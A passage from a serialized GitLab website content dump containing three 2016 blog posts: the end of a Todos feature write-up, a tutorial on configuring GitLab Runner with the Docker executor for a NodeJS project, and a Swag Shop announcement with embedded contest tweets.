functionality. I had to make many changes during\nthe review period, but that worked out well in the end.\n\nSome people asked for changes which we thought didn't fit for what we were\ntrying to achieve. There was for example a request to be notified of Todos on\ncommits. We ultimately decided against this request since there are no clear\nactions to take on a commit, except for replying to a comment. Most of the time\nyou’re actually working on an issue or a merge request, this is where the action\nhappens.\n\n### About that name\n\nThere was a long discussion about naming the feature. In the beginning this\nfeature was called 'Notification System'. Then 'Action Center'. Then 'Todos'.\nThen 'Tasks', and finally 'Task Queue' was chosen.\n\nBut Douwe and Sytse discussed the naming for the umpteenth time, and concluded\nthat 'Todos' would be the best name since 'Tasks' is already used (by us and\nGitHub) for the Markdown checklist.\n\nTodo makes more sense to me than a Task, you just need to take a look at it.\nTasks are obligations. A Todo is just a reminder, and as such, maybe it is\nrelevant for you and you'll take a look or maybe you'll just mark it as done.\n\n### Conclusion\n\nI'm really happy to have worked on a feature that people will use every day!\nIt's a simple feature and even though we've only been using it a few days,\nwe can't imagine how we managed to work without it.\n\nThis Tweet from a user pretty much sums it up.\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">.\u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a>&#39;s new ToDos feature is simply amazing. Simple feature but something you cannot live without once you tried it.\u003C/p>&mdash; Tero Tasanen (@ttasanen) \u003Ca href=\"https://twitter.com/ttasanen/status/702249244950974464\">February 23, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nFor more information you can [read our documentation][doc].\n\n",{"slug":38789,"featured":6,"template":678},"gitlab-todos-feature-highlight","content:en-us:blog:gitlab-todos-feature-highlight.yml","Gitlab Todos Feature Highlight","en-us/blog/gitlab-todos-feature-highlight.yml","en-us/blog/gitlab-todos-feature-highlight",{"_path":38795,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38796,"content":38801,"config":38806,"_id":38808,"_type":16,"title":38809,"_source":17,"_file":38810,"_stem":38811,"_extension":20},"/en-us/blog/gitlab-runner-with-docker",{"title":38797,"description":38798,"ogTitle":38797,"ogDescription":38798,"noIndex":6,"ogImage":12013,"ogUrl":38799,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38799,"schema":38800},"Setting up GitLab Runner For Continuous Integration","This tutorial will demonstrate how to get started with a CI workflow using GitLab Runner.","https://about.gitlab.com/blog/gitlab-runner-with-docker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Setting up GitLab Runner For Continuous Integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ahmet Kizilay\"}],\n        \"datePublished\": \"2016-03-01\",\n      }",{"title":38797,"description":38798,"authors":38802,"heroImage":12013,"date":38804,"body":38805,"category":734},[38803],"Ahmet Kizilay","2016-03-01","\n\nThere are many cloud-based [continuous integration (CI)](/solutions/continuous-integration/) providers out there and\nmost of them generously offer free plans for open-source projects.\nWhile this is great for the open-source community, paid plans and tiers can get a little\nbit too expensive for small start-ups that would prefer to keep their source code private.\nIn such an ecosystem, GitLab Inc. stands out as a viable option with unlimited private\nrepositories and its GitLab Runner, a free and open-source tool to automate the\ntesting and building of projects, thus giving software\ndevelopers the freedom to experiment with different approaches to build the\noptimal pipeline for their needs.\n\n## How to get started with a CI workflow using GitLab Runner\n\nThis tutorial will demonstrate how to get started with a CI workflow using\n[GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) and its built-in Docker executor.\nWe will first set up a sample NodeJS project hosted on Gitlab.com to run tests\non build machines provided by GitLab Inc.\nThen, we will set up and configure our own specific runner on a private server.\nFinally, we will go over some good practices to speed up the build time as the project grows.\nBy the end of this tutorial you will feel comfortable building your own\nCI solution, custom-tailored for your existing projects.\nThis post will be useful for project managers looking for affordable\nCI solutions and developers wanting to build test-driven\nand sustainable software projects.\n\n\u003C!-- more -->\n\n## Introducing the sample project\n\nBefore we start with the GitLab Runner, let's briefly review this simple\n[NodeJS project](https://gitlab.com/gitlab-examples/nodejs/) we will\nwork with throughout this tutorial.\nOur project contains two independent modules we would like to test.\nOne module consists of some utility methods for asynchronous operations.\nThe other module implements a simple wrapper around a PostgreSQL database to\ninsert and retrieve records. Thanks to the latter module, we will need a\ndatabase instance in our testing environment to run the tests.\n\nAfter starting a test database, we can run the tests locally and see all tests pass.\n\n```\nDB_USER=[db-username] \\\nBD_PASS=[db-password] \\\nDB_HOST=[db-host:db-port] \\\nnode ./specs/start.js\n```\n\nFeel free to explore the project [source code](https://gitlab.com/gitlab-examples/nodejs/tree/master)\nif you are interested.\n\n## How to get started with GitLab Runner\n\nGitLab Runner is triggered with every push to the central repository or branch if a\n`.gitlab-ci.yml` file is present (unless explicitly configured not to).\nThis file specifies how the build environment should be set up and what\ncommands to be executed to build, test, and deploy our project in a series of\njobs that can be parallelized.\n\n## How to use Docker executor\n\nIn this tutorial, we will be using GitLab Runner's\nbuilt-in **docker executor** to set up the build environment.\nThis executor provides a powerful abstraction that uses Docker Engine in the\nbackground to load our app and run the tests in a Docker container.\nIn addition, this Docker executor conveniently starts any dependent services (such as\ndatabases) before running jobs and links containers to communicate with each other.\n\n### Creating `.gitlab-ci.yml` file\n\nOur first task is to add our `.gitlab-ci.yml` file to the root directory of our project.\n\n```\nimage: node:4.2.2\n\nservices:\n  - postgres:9.5.0\n\nall_tests:\n  script:\n   - npm install\n   - node ./specs/start.js\n```\n\nNow let's go over the parts of this file.\n\nThe first line specifies the base image against which our tests will run.\nSince we are testing a NodeJS app, our base image will be a recent NodeJS version.\n\nThe `services` section is where external dependencies are listed.\nIn our tests, we need a PostgreSQL database, so we add the image name for this database.\nAny Docker image name can be specified here, such as `mysql` for MySQL databases.\nThe database will start with default credentials before tests run and it will be\naccessible under the host name `postgres` on the default PostgreSQL port, 5432.\n\nIf we needed to use any credentials other than the defaults, we could add them\ninside the `variables` tag. Values under this tag are passed to all services\non initialization. As per the PostgreSQL service [documentation](http://doc.gitlab.com/ce/ci/services/postgres.html),\nthe following settings will overwrite the user and password for our database:\n\n```\nimage: node:4.2.2\n\nvariables:\n  POSTGRES_USER: testuser\n  POSTGRES_PASSWORD: testpass\n\nservices:\n  - postgres:9.5.0\n\nall_tests:\n  script:\n   - npm install\n   - node ./specs/start.js\n```\n\nNote that since these test credentials are internal to our project, it is OK to simply\nadd them to the `.gitlab-ci.yml` file. However, you should register any external\nconfiguration variables, such as API keys, in the **Secure Variables**\npage (**Settings -> Variables**) and reference them here by name.\n\nIn the final section, we define a job named `all_tests`, which contains the command\nthat will run our tests.\nIn the `script` subsection here, we simply add our commands to install the dependencies\nand start the tests.\n\nTo be extra cautious, we could lint-check our yml file on the\n[GitLab CI Lint page](https://gitlab.com/ci/lint) to see the breakdown of\nthe build steps to make sure we don't have a typo.\n\n## How to use Shared Runners\n\nGitLab Inc. provides a number of servers with GitLab Runner installed.\nOn the **Runners** page (**Settings -> Runners**), we can see the list of currently available runners.\nWe should see that Shared Runners are already available for us, so we can immediately queue our first build by simply pushing our `.gitlab-ci.yml` file to our repository.\nWe can track the progress of our build on the [Builds page](https://gitlab.com/gitlab-examples/nodejs/builds).\nOnce our build starts, we should see that it completes with success in a couple of minutes.\n\n### How to install a specific runner\n\nWhile these Shared Runners are great to get a sense of how to get started with\nCI, we will now install GitLab Runner on a private server to run exclusively\nfor our project.\nWe will use exactly the same [open-source software](https://gitlab.com/gitlab-org/gitlab-runner)\nGitLab.com uses on their Shared Runners, so we will have the extra benefit of\noptimizing and securing our builds for our specific project.\n\n\nWe will need a server instance where we will install the GitLab Runner.\nGitLab Runner can be installed on [Linux](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/linux-repository.md), [macOS](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/blob/master/docs/install/osx.md) and [Windows](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/blob/master/docs/install/windows.md).\nFor our sample project, a small server instance with 1 GB RAM should be enough.\nIn addition, since we will be running with the Docker executor, we also need to have [Docker Engine](https://docs.docker.com/engine/installation/) installed.\n\nUpon installation, we will register a new runner for our project.\nStart the registration with the following command:\n\n```\ngitlab-ci-multi-runner register\n```\n\nThe registration will walk us through a few steps to configure our registered runner.\n\n```\nRunning in system-mode.\n\nPlease enter the gitlab-ci coordinator URL (e.g. https://gitlab.com/ci):\nhttps://gitlab.com/ci\n```\n\nSince our project is hosted on Gitlab.com, we will use the default\ngitlab-ci coordinator URL.\n\n```\nPlease enter the gitlab-ci token for this runner:\n[your private gitlab-ci token]\n```\n\nOn **Runners** page (**Settings -> Runners**), we will copy the private gitlab-ci token for our project and paste it here.\n\n```\nPlease enter the gitlab-ci description for this runner:\n[ubuntu-2gb-nyc3-01]: new-docker-executor\nPlease enter the gitlab-ci tags for this runner (comma separated):\ndocker\nRegistering runner... succeeded                     runner=8tB1zBiU\n```\n\nIt is a good practice to give a descriptive name and tags for runners to\nbe able to remember and target them later on. We will add the `docker` tag to this\nrunner since we can run any Docker image and services with it.\n\n```\nPlease enter the executor: virtualbox, ssh, shell, parallels, docker, docker-ssh:\ndocker\nPlease enter the default Docker image (eg. ruby:2.1):\nnode:4.2.2\nRunner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded!\n```\n\nNotice that there are several executor options available.\nIn this post, we are using the `docker` executor.\nRemember from the `.gitlab-ci.yml` file, our base image is already set as node:4.2.2.\nNote that the default Docker image specified here will be used only when `.gitlab-ci.yml`\nfile does not contain an image declaration.\n\nSpecific runners take precedence over the Shared Runners.\nOur project won't be using Shared Runners as long as our specific runner is available.\nIf preferred, we can disable the Shared Runners on the **Runners** page\n(**Settings -> Runners**) by toggling off the Shared Runners button.\n\nFinally, we are ready to trigger a new build.\nWe should see the next build running with our specific runner on our private server.\n\n## How to enable cache\n\nNow that we have a functional CI workflow, let's talk about\nhow to make it faster and more efficient.\n\nTo start, we can eliminate redundant downloading of dependency libraries by\ncaching and restoring dependencies between builds.\nFor NodeJS projects, dependent libraries are installed in a folder called `node_modules`.\nWe should specify this folder to cache in our `.gitlab-ci.yml` file:\n\n```\nimage: node:4.2.2\n\ncache:\n  paths:\n  - node_modules/\n\nservices:\n  - postgres:9.5.0\n\nall_tests:\n  script:\n   - npm install\n   - node ./specs/start.js\n```\n\nAfter a successful build, you should see the `node_modules` folder is archived at\nthe end of builds to be restored at the beginning of following builds.\nAs long as our dependencies file remains unchanged, no new libraries will be\ndownloaded and our total build time will significantly decrease.\n\n### Adding concurrency\n\nAnother modification we can add to speed up the build process is to\nparallelize the tests.\nIn our project, we can split the tests into two jobs.\nOne for the database tests and another for the async module tests.\nFurthermore, we can restrict the PostgreSQL service to run only for our database\njob since we won't need a database for the async module.\n\n```\nimage: node:4.2.2\n\ncache:\n  paths:\n  - node_modules/\n\ntest_async:\n  script:\n   - npm install\n   - node ./specs/start.js ./specs/async.spec.js\n\ntest_db:\n  services:\n    - postgres:9.5.0\n  script:\n   - npm install\n   - node ./specs/start.js ./specs/db-postgres.spec.js\n```\n\nNote that we still need to introduce concurrency to the build.\nTo do that we could either create a new server and register a runner for\nour project, or increase the concurrency level for our existing runner.\nWe will go with the latter and edit the `concurrent` setting on the first\nline of our `config.toml` configuration file in the server.\nIf you installed GitLab Runner as the root user with the deb or rpm packages,\nthe config file will be in `/etc/gitlab-runner/config.toml` by default:\n\n```\nconcurrent = 2\n```\n\nAfter triggering a new build, we can see two jobs running\nat the same time.\n\n## Conclusion\n\nIn this tutorial, we set up automated testing with GitLab Runner and its built-in Docker executor for a NodeJS\nproject to get started with continuous integration on Gitlab.com.\nFor more information on the GitLab Runner and GitLab CI platform or using Docker with them, check out the [documentation](http://doc.gitlab.com/ce/ci/).\nHappy coding!\n\n### About Guest Author: Ahmet Kizilay\n\n[Ahmet Kizilay](https://about.me/ahmetkizilay) is a software developer living in Istanbul.\nHe is currently working as a full-stack developer at [Graph Commons](https://graphcommons.com/).\n",{"slug":38807,"featured":6,"template":678},"gitlab-runner-with-docker","content:en-us:blog:gitlab-runner-with-docker.yml","Gitlab Runner With Docker","en-us/blog/gitlab-runner-with-docker.yml","en-us/blog/gitlab-runner-with-docker",{"_path":38813,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38814,"content":38820,"config":38824,"_id":38826,"_type":16,"title":38827,"_source":17,"_file":38828,"_stem":38829,"_extension":20},"/en-us/blog/gitlab-swag-shop-opened",{"title":38815,"description":38816,"ogTitle":38815,"ogDescription":38816,"noIndex":6,"ogImage":38817,"ogUrl":38818,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38818,"schema":38819},"GitLab Swag Shop is Open!","We're delighted to announce GitLab Swag Shop is now opened! We're starting with essentials: Some nifty t-shirts and stickers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684601/Blog/Hero%20Images/tshirts.jpg","https://about.gitlab.com/blog/gitlab-swag-shop-opened","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Swag Shop is Open!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2016-02-29\",\n      }",{"title":38815,"description":38816,"authors":38821,"heroImage":38817,"date":38822,"body":38823,"category":299},[38561],"2016-02-29","\n\nWe're delighted to announce [GitLab Swag Shop](https://gitlab.myshopify.com/) is now opened!\nWe're starting with essentials: Some nifty t-shirts and stickers.\n\nUp-to-date information about GitLab Swag\ncan be found in our [Field Marketing Handbook](/handbook/marketing/field-marketing/).\n\nFollow [@GitLab](https://twitter.com/gitlab/) on Twitter to stay tunned for updates and promotions!\n\n\u003C!-- more -->\n\nWe know there's lots of love for GitLab, and we're delighted to hear\nso many of you want to share your enthusiasm.\n\n## Swag Portrait Contest Winners\n\nWe ran a contest over the holiday time to get a peek at how people\nwere using their stickers on laptops.\nThanks so much for sharing photos!\n\nAfter looking at the entries, we decided that *everyone* should win a\nprize for participating, so all participants will be getting GitLab stickers!\nPlease email us at community@ our domain and verify your ID by @mentioning us and\nlinking to this  blog post via twitter.\n\nThere's two lucky prize winners who each won a t-shirt.\nContact us at community@ our domain name to claim your prize!\n\nFabio wins for his incredible layering technique! Congrats!\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">This is my notebook lid \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/LRkfpDZdyR\">pic.twitter.com/LRkfpDZdyR\u003C/a>\u003C/p>&mdash; Fabio Beneditto (@FabioBeneditto) \u003Ca href=\"https://twitter.com/FabioBeneditto/status/684023062065475584\">January 4, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nAnd we also did a random draw, and Vincent won! Congrats!\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Still got some room left. \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash\">#swagportrait\u003C/a> \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> \u003Ca href=\"https://t.co/9DkteSyKzT\">pic.twitter.com/9DkteSyKzT\u003C/a>\u003C/p>&mdash; Vincent V.d Kussen (@vincentvdk) \u003Ca href=\"https://twitter.com/vincentvdk/status/690879663183380480\">January 23, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nAlso, our [GitLab MVPs](/community/mvp/) will be receiving a special present soon.\n\n## Swag Portrait contest entries - everyone's a winner!\n\nLooking at these laptops reminds me of seeing skateboards plastered in stickers.\nIt's cool to see how many different communities and projects people\nare fans of! Thanks so much!\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003C!-- first tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">New laptop... :-( \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/QFC4F3h6K2\">pic.twitter.com/QFC4F3h6K2\u003C/a>\u003C/p>&mdash; Patrik Votoček (@PatrikVotocek) \u003Ca href=\"https://twitter.com/PatrikVotocek/status/682678739604508676?ref_src=twsrc%5Etfw\">December 31, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\n\u003C!-- second tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">So happy nowadays with \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> that I would cover github&#39;s sticker if I had github&#39;s sticker  =) \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/n7Z7jguffc\">pic.twitter.com/n7Z7jguffc\u003C/a>\u003C/p>&mdash; Alvaro Gonzalez (@lvarin) \u003Ca href=\"https://twitter.com/lvarin/status/682677582970630144?ref_src=twsrc%5Etfw\">December 31, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- third tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">My humble \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> with  \u003Ca href=\"https://twitter.com/golang?ref_src=twsrc%5Etfw\">@golang\u003C/a> \u003Ca href=\"https://twitter.com/Ionicframework?ref_src=twsrc%5Etfw\">@Ionicframework\u003C/a> \u003Ca href=\"https://twitter.com/gulpjs?ref_src=twsrc%5Etfw\">@gulpjs\u003C/a> \u003Ca href=\"https://twitter.com/angularjs?ref_src=twsrc%5Etfw\">@angularjs\u003C/a> 🎉🎉🎉 \u003Ca href=\"https://t.co/iOGqgH7bl2\">pic.twitter.com/iOGqgH7bl2\u003C/a>\u003C/p>&mdash; Alvaro Viebrantz (@alvaroviebrantz) \u003Ca href=\"https://twitter.com/alvaroviebrantz/status/682622189896642560?ref_src=twsrc%5Etfw\">December 31, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- fourth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">There is a bit spare room left on my \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> for some \u003Ca href=\"https://twitter.com/hashtag/32c3?src=hash&amp;ref_src=twsrc%5Etfw\">#32c3\u003C/a> goodies. \\o/ \u003Ca href=\"https://t.co/Ph9g39XN8M\">pic.twitter.com/Ph9g39XN8M\u003C/a>\u003C/p>&mdash; Krawall-Ossi (@0x663030623472) \u003Ca href=\"https://twitter.com/0x663030623472/status/682552501745381376?ref_src=twsrc%5Etfw\">December 31, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- fifth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> with the great \u003Ca href=\"https://twitter.com/java_hipster?ref_src=twsrc%5Etfw\">@java_hipster\u003C/a> sticker \u003Ca href=\"https://t.co/KdZAtXAlBM\">pic.twitter.com/KdZAtXAlBM\u003C/a>\u003C/p>&mdash; Frederik Hahne (@atomfrede) \u003Ca href=\"https://twitter.com/atomfrede/status/682551020036173825?ref_src=twsrc%5Etfw\">December 31, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- sixth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">.\u003Ca href=\"https://twitter.com/nearlythere?ref_src=twsrc%5Etfw\">@nearlythere\u003C/a> Happy new year Heather!  \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/rAYvGeFWdq\">pic.twitter.com/rAYvGeFWdq\u003C/a>\u003C/p>&mdash; David Corbacho (@dcorbacho) \u003Ca href=\"https://twitter.com/dcorbacho/status/682540677314555904?ref_src=twsrc%5Etfw\">December 31, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- seventh tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">My \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> on my laptop :-) \u003Ca href=\"https://t.co/DjhTgRAAfB\">pic.twitter.com/DjhTgRAAfB\u003C/a>\u003C/p>&mdash; Iván López (@ilopmar) \u003Ca href=\"https://twitter.com/ilopmar/status/682537139796611076?ref_src=twsrc%5Etfw\">December 31, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- eighth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> Lacking the tech sticker here \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/LqnuiNdEsk\">pic.twitter.com/LqnuiNdEsk\u003C/a>\u003C/p>&mdash; Daniel Groves 📷👻 (@danielsgroves) \u003Ca href=\"https://twitter.com/danielsgroves/status/682534134489714688?ref_src=twsrc%5Etfw\">December 31, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- ninth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Hey \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a>, I need some new swag for my \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a>. \u003Ca href=\"https://twitter.com/thinkgeek?ref_src=twsrc%5Etfw\">@thinkgeek\u003C/a> \u003Ca href=\"https://t.co/XuhhGrBtP0\">pic.twitter.com/XuhhGrBtP0\u003C/a>\u003C/p>&mdash; :-/ (@venturewised) \u003Ca href=\"https://twitter.com/venturewised/status/691051215224967169?ref_src=twsrc%5Etfw\">January 24, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- tenth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/vincentvdk?ref_src=twsrc%5Etfw\">@vincentvdk\u003C/a> \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> I keep mine clean \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/vQZCeul23F\">pic.twitter.com/vQZCeul23F\u003C/a>\u003C/p>&mdash; Serge van Ginderachter (@svg) \u003Ca href=\"https://twitter.com/svg/status/691004212856094720?ref_src=twsrc%5Etfw\">January 23, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- eleventh tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> here is my \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/NxOrGPJwhR\">pic.twitter.com/NxOrGPJwhR\u003C/a>\u003C/p>&mdash; jubianchi (@jubianchi) \u003Ca href=\"https://twitter.com/jubianchi/status/690980139740577792?ref_src=twsrc%5Etfw\">January 23, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- twelfth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">This is my notebook lid \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/LRkfpDZdyR\">pic.twitter.com/LRkfpDZdyR\u003C/a>\u003C/p>&mdash; Fabio Beneditto (@FabioBeneditto) \u003Ca href=\"https://twitter.com/FabioBeneditto/status/684023062065475584?ref_src=twsrc%5Etfw\">January 4, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- thirteenth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> I need replace this octocat 😀 \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://t.co/QBQGrKBP63\">pic.twitter.com/QBQGrKBP63\u003C/a>\u003C/p>&mdash; Rodrigo de Avila (@RodrigoAvila) \u003Ca href=\"https://twitter.com/RodrigoAvila/status/682716661665890305?ref_src=twsrc%5Etfw\">January 1, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- fourteenth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Still got some room left. \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> \u003Ca href=\"https://t.co/9DkteSyKzT\">pic.twitter.com/9DkteSyKzT\u003C/a>\u003C/p>&mdash; Vincent Van der Kussen (@vincentvdk) \u003Ca href=\"https://twitter.com/vincentvdk/status/690879663183380480?ref_src=twsrc%5Etfw\">January 23, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- fifteenth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Hey \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a>! Here&#39;s a \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> for you! \u003Ca href=\"https://t.co/ek389itXHB\">pic.twitter.com/ek389itXHB\u003C/a>\u003C/p>&mdash; Mathew Peterson (@mathewpeterson) \u003Ca href=\"https://twitter.com/mathewpeterson/status/684130486629740544?ref_src=twsrc%5Etfw\">January 4, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C!-- sixteenth tweet -->\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">.\u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> here&#39;s the \u003Ca href=\"https://twitter.com/hashtag/swagportrait?src=hash&amp;ref_src=twsrc%5Etfw\">#swagportrait\u003C/a> of my new laptop that has still a lot of room for new stickers \u003Ca href=\"https://t.co/pySR0r79sh\">pic.twitter.com/pySR0r79sh\u003C/a>\u003C/p>&mdash; Riccardo Padovani (@rpadovani93) \u003Ca href=\"https://twitter.com/rpadovani93/status/683301646353436672?ref_src=twsrc%5Etfw\">January 2, 2016\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nThanks for 